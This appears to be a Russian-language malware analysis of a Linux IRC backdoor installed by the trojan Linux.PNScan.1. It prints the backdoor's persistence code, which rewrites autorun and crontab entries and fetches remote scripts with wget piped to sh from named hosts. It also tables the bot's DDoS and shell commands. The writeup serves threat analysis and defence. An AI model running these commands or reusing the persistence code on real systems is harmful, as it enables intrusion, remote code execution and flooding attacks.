SHA1:
- e8a8d48e1083e7146d5efcba1d6490f05cd8c897 (unpacked)
- 577551c6a550c3fd30169fb4c2a62fa8b6e73686 (packed)
Бэкдоры для операционных систем семейства Linux, устанавливаемые троянцем Linux.PNScan.1. При запуске троянец подготавливает для себя автозагрузку:
system("echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &");
system("rm -rf /var/run/wgs* > /dev/null 2>&1 &");
system("rm -rf /var/run/bbs* > /dev/null 2>&1 &");
system("rm -rf /var/run/tty* > /dev/null 2>&1 &");
system("ulimit -s unlimited > /dev/null 2>&1 &");
system("mount -t ext2 /dev/mtdblock4 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/mtdblock5 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdx6 /tmp/config > /dev/null 2>&1");
system("mount -t ext2 /dev/sdc6 /tmp/config > /dev/null 2>&1");
system("rm -rf /var/run/getty1 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty2 > /dev/null 2>&1 &");
system("rm -rf /var/run/getty3 > /dev/null 2>&1 &");
system("cat /tmp/config/autorun.sh | grep -v \"nameserver 8.8.8.8\" | grep -v \"sleep 43200\" | grep -v \"erpcit\" | grep -v \"o.kei\" > /var/run/.backup");
system("echo \"echo \"nameserver 8.8.8.8\" > /etc/resolv.conf\" >> /var/run/.backup");
system("echo \"sleep 120 && wget -qO - http://*.***.su/qn | sh > /dev/null 2>&1 &\" >> /var/run/.backup");
system("cat /var/run/.backup > /tmp/config/autorun.sh");
system("chmod +x /tmp/config/autorun.sh");
system("umount /tmp/config");
system("rm -rf /var/run/.backup");
system("cat /etc/config/crontab | grep -v \"gettychk\" > /tmp/.fuckw");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckw");
system("cat /tmp/.fuckw > /etc/config/crontab");
system("crontab -l | grep -v \"gettychk\" > /var/run/.fuckx");
system("echo \"* * * * * /var/run/gettychk > /dev/null 2>&1\" >> /var/run/.fuckx");
system("echo \"#!/bin/sh\" > /var/run/gettychk");
system("echo \"pidof getty0 || ( rm -rf /var/run/getty.pid && /var/run/getty0 ) \" >> /var/run/gettychk");
system("chmod 700 /var/run/gettychk");
system("crontab /var/run/.fuckx");
system("crontab /etc/config/crontab");
system("rm -rf /var/run/.fuckw");
system("rm -rf /var/run/.fuckx");
system("/etc/init.d/crond.sh restart > /dev/null 2>&1 &");
system("wget -qO - http://*.***.su/botkill | sh > /dev/null 2>&1 &");
Для соединения с управляющим IRC-сервером формирует строку имени и псевдонима следующим образом:
x32|Linux|root|%c%c%c%c%c%c%c%c%c
где %c – случайный символ из набора цифр ("0123456789"). Если у бэкдора нет привилегий суперпользователя, вместо root используется значение "unk".
При подключении к IRC-серверу вредоносная программа ожидает поступления входящих команд. Бэкдор способен выполнять следующий базовый набор команд:
Команда | Действие | Комментарий |
---|---|---|
352 | Установить поддельный IP | |
433 | Сгенерировать новый ник | |
ERROR | Сгенерировать новый ник | |
NICK | Поменять ник на строку из команды | |
PING | Отправить PONG | |
376 | Зайти на канал | Send(fd, "NICK %s\n", nick); Send(fd, "MODE %s -xi\n", nick); Send(fd, "JOIN %s :%s\n", chan, pass); |
422 | Зайти на канал | Send(fd, "NICK %s\n", nick); Send(fd, "MODE %s -xi\n", nick); Send(fd, "JOIN %s :%s\n", chan, pass); |
PRIVMSG | Выполнить специальную команду |
Помимо этого, троянец способен выполнять следующий набор расширенных команд:
Команда | Действие | Синтаксис |
---|---|---|
RANDOMFLOOD | Случайным образом переключиться между режимами ACK и SYN Flood | RANDOMFLOOD <target> <port> <secs> |
ACKFLOOD | ACK Flood (spoofed) | ACKFLOOD <target> <port> <secs> |
SYNFLOOD | SYN Flood (spoofed) | SYNFLOOD <target> <port> <secs> |
TSUNAMI | Начать DDoS-атаку | TSUNAMI <target> <secs> |
PAN | «Улучшенный» SYN Flood | PAN <target> <port> <secs> |
SUDP | UDP Flood (spoofed) | SUDP <target> <port> <secs> |
UDP | UDP Flood | UDP <target> <port> <secs> |
NSACKFLOOD | ACK Flood | NSACKFLOOD <target> <port> <secs> |
NSSYNFLOOD | SYN Flood | NSSYNFLOOD <target> <port> <secs> |
STD | Начать DDoS-атаку | STD <target> <port> <secs> |
UNKNOWN | Начать DDoS-атаку | UNKNOWN <target> <secs> (recommended for non-root users) |
KILLALL | Прекратить DDoS-атаку | |
DNS | Определить домен и сообщить серверу его IP | |
CUSTOM | Выполнить произвольный скрипт (по предустановленной ссылке) wget -qO - http://o.kei.su/custom | sh > /dev/null 2>&1 | |
PATCH | Применить патч от уязвимости shellshock wget -qO - http://o.kei.su/patch | sh > /dev/null 2>&1 | |
BOTKILL | Удалить другие троянские программы wget -qO - http://o.kei.su/botkill | sh > /dev/null 2>&1 | |
GETSPOOFS | Получить параметры спуфинга | |
SPOOFS | Установить IP или диапазон IP для спуфинга | SPOOFS <iprange/ip> |
VERSION | Возвратить версию бэкдора | |
SERVER | Сменить сервер на указанный в команде | |
GET | Выполнить загрузку указанного файла | GET <url> <save as> |
IRC | Послать указанные команды IRC на сервер | IRC <arg1> <arg2> <arg...> |
HELP | Показать список доступных команд | |
SH | Выполнить набор sh-команд | SH <arg1> <arg2> <arg...> |